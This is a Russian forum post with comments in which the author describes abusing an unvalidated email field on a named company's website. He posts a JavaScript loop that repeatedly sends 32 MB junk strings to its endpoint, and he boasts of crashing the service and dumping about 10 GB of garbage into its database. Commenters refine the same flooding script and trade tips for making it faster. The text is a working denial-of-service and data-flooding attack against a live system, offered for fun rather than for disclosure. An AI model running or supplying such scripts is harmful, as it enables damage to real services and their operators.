7244

Шлём `Привет` кэшбери

Вижу пост

Не долго парясь нахожу в интернете их сайт http://gdc.group


Ооокей... Смотрим что там и как. И оказывается что фильтр почты, которую к ним на рассылку можно закинуть - фиктивный. Те если отправить руками то можно записать что угодно.


http://gdc.group/files/action/ajax.php?email=1


Методом перебора узнаём что под поле почты выделено 32милиионов(2^25) символов строка... А это 32 мегабайта.


Пишем небольшой скрипт


i=0; spam = () => { $.post('http://gdc.group/files/action/ajax.php', { email: Array(2**25).fill().map(()=>{ return String.fromCodePoint(~~(Math.random(1, 255) * 255)) }).join('') }, (a)=>{console.log(++i, a); spam();}); }; spam();

Хотя на деле лучше степень 20 гдето, потому как на лимите там памяти не хватает.


Ну и итого всё..) Память у сервиса кончилась, удачи разрабам разгребать говно и фиксить дыры..)

Как минимум гигов на 10 в базу я поднасрать успел, пока память не закончилась... Если ребутнут не пофиксив, продолжим...


Такие успешные парни, а найти разраба не из студентов не смогли =\


Теперь всегда так:

Fatal error: Allowed memory size of 268435456 bytes exhausted (tried to allocate 4304128 bytes) in /home/bitrix/ext_www/gdc.group/files/action/ajax.php on line 8

Ещё и битрикс... Фи...

Вы смотрите срез комментариев. Показать все
DELETED
Автор поста оценил этот комментарий

Фи так писать

i=0; spam = () => { $.post('http://gdc.group/files/action/ajax.php', { email: Array(2**25).fill().map(()=>{ return String.fromCodePoint(~~(Math.random(1, 255) * 255)) }).join('') }, (a)=>{console.log(++i, a); spam();}); }; spam();
раскрыть ветку (28)
8
Автор поста оценил этот комментарий

Как бы написали Вы, если цель не париться, а в консольку кинуть и поразвлекаться?.

Так то js - явно не лучший вариант подобное делать. Но если речь про js - как бы вы поступили?)

Охотно принимаю критику)

раскрыть ветку (14)
0
Автор поста оценил этот комментарий

Моя минималистическая версия :D

Иллюстрация к комментарию
0
Автор поста оценил этот комментарий
это случаем не через минимизатор прошло?))
раскрыть ветку (4)
2
Автор поста оценил этот комментарий

Пфф... Я тут по минимизаторству в соревнах участвовал, вот там такая нечитабельная дичь выходит..)

Это как по мне - просто и читабельно как раз...

Сейчас я бы только вот так вот написал бы

i=0;
spam = () => $.post(
       'http://gdc.group/files/action/ajax.php',
       { email:
            Array(2**25).fill().map(()=>{ return String.fromCodePoint(~~(Math.random(1, 255) * 255)) }).join('')
},
     (a) => {
         console.log(++i, a);
         spam();
     });
spam();
раскрыть ветку (3)
0
DELETED
Автор поста оценил этот комментарий

(function (attempt) {

  return fetch(url, {

    method: 'POST',

    body: (() => {

      const data = new FormData();

      data.append('email', Array.from(function*(size) {

        while(size--) {

          yield String.fromCodePoint(~~(Math.random(1, 255) * 255))

        }

      }(2**25)).join(''));
      return data;

    })

  })

  .then((response) => console.log(attempt+1, response))

  .finally(() => arguments.callee(attempt+1));

})();

Это ничем не лучше, просто как вариант.
ну и тут нет jquery, или чем вы там данные отправляли.

раскрыть ветку (2)
0
Автор поста оценил этот комментарий

Сразу: либо всё через функшены пишите либо всё через ()=>{}

Не стоит 2 стиля тащить. А так - фетч да, получше будет.

console.log(attempt++, response)

вот это не очень ясно, да и странно тут итератор ставить

Я бы в файнали запихнул ++attempt тогда уж.

А так - мило. Вы как минимум потратили своё время, а не просто орали что код говно и надо иначе))

раскрыть ветку (1)
0
DELETED
Автор поста оценил этот комментарий

итератор позволит не создавать массив заранее.

так-то вариант действительно ничем не лучше.

function использовался с целью получения доступа к deprecated  arguments.callee - лень было объявлять переменную, чтобы потом ее вызывать.

ещё комментарии
2
Автор поста оценил этот комментарий

Join вообще криво, это over9000 конструкторов технически. Prealloc надо.

раскрыть ветку (12)
1
Автор поста оценил этот комментарий

С преаллок подскажите?..

У меня мысль разве что так вот

Array(5).fill().reduce((a)=>a+String.fromCodePoint(~~(Math.random(1, 255) * 255)), '')
раскрыть ветку (11)
2
Автор поста оценил этот комментарий

Ну, самое очевидное - это конечно не использовать JS, а то, где есть адекватный инициализатор(самое весёлое ). Но на худой конецесть куча методов. Вот интересный прикол с массивами, я бы о таком и не подумал, привет spectre к слову.

https://jsperf.com/dirty-performance-secrets-html5

Но ещё раз, основные факторы.

1. Array - 100%. preallocated of fixed size лучше. И только по заполнению его в String.

2. В arrray можно спокойно использовать инициализер. Но для более-менее рандома я бы его паттерном сделал и клал по 8-16 элементов из известного набитого от балды вместо рандома, см. пункт 4

3. random ОЧЕНЬ тормозной, избегай его. Так же спокойно можно нули использовать, там будет иной бонус - http post gzip

4. Рандом допустим, но для паттерна например. Чтобы каждый раз был массив 8..128 байт который будет рандомно инициализироваться, а потом копироваться паттернами или прямо собой в наш выходной.

раскрыть ветку (10)
0
Автор поста оценил этот комментарий

Это всё задачи не из этой темы..

js взят просто потому что я браузер открыл - оп, а давай попробую отправлю) Зачем писать нечто более сложное?


Оптимизация строки?.. Мы же понимаем что горлышко у этой бутылки - трафик?) После того как написано нечто рабочее можно уже заняться оптимизацией... Только вот зачем?)

На этот код в js у меня ушло ну минуты 3...

Что в нём можно было улучшить когда я понял что оно работает и выяснив длину строки в базе?) Вариант со строкой не лучший - согласен. Но просто моя прихоть. Хотел весь пул аски. Так то можно было 2^20 нулей + (++i)

С точки зрения трафика 1 хрен..)

А создавать строку... Заполнять её... Просто сложные действия, которые вообще ничего не принесут.

раскрыть ветку (4)
0
Автор поста оценил этот комментарий

Из уровня выше ещё. Здесь лучше было вообще статику делать.

раскрыть ветку (3)
0
Автор поста оценил этот комментарий

Ну какбы суть в том что нужно понимать зачем мы что-то оптимизируем..)

Я сначала накатал строку в которой делаю рандомную строку длиной N, накатал скрипт... Потестил на разных степенях..) Сервис лёг..) Увы - модифицировать нечего, смысла в этом ноль, сервис уже лежит..)

раскрыть ветку (2)
0
Автор поста оценил этот комментарий

Ну, в том, что это и у тебя неслабо тормозило :)

раскрыть ветку (1)
2
Автор поста оценил этот комментарий

Ммм... Ну смотри - ждать пока зальётся - секунд 5. Запрос формируется бустрее десятой секунды. Даже если мы оптимизируем в 0 и то - не ясно сколько там милисек ) То мы выиграем в лучшем случае 1% к произвдительности..) А у них будет разнообразный мусор ) Я же хороший человек, я хочу в базу залить разнообразного говна)

0
Автор поста оценил этот комментарий

Вы на чем пишете-то? Выглядит как желание натянуть язык который вы знаете на JS :)

раскрыть ветку (4)
0
Автор поста оценил этот комментарий

Много на чём. На ноде в томчисле, так то..)

0
Автор поста оценил этот комментарий

Выглядит как идея не пользоваться String.append(String) 100500 раз, потому как НЕЗАВИСИМО от языка(java,c# и даже object *) это будет именно так вызываться каждый раз конструкором нового объекта при аппенде. Да даже в C++ String классе...

А пишу я много на чём как бы, оттуда и познания что будет полнейшая херня со скоростью в таком виде.

раскрыть ветку (2)
0
Автор поста оценил этот комментарий

Ну вот я и не понимаю предъяв к этому исполнению у меня)

0
Автор поста оценил этот комментарий

в принципе справедливо

Вы смотрите срез комментариев. Чтобы написать комментарий, перейдите к общему списку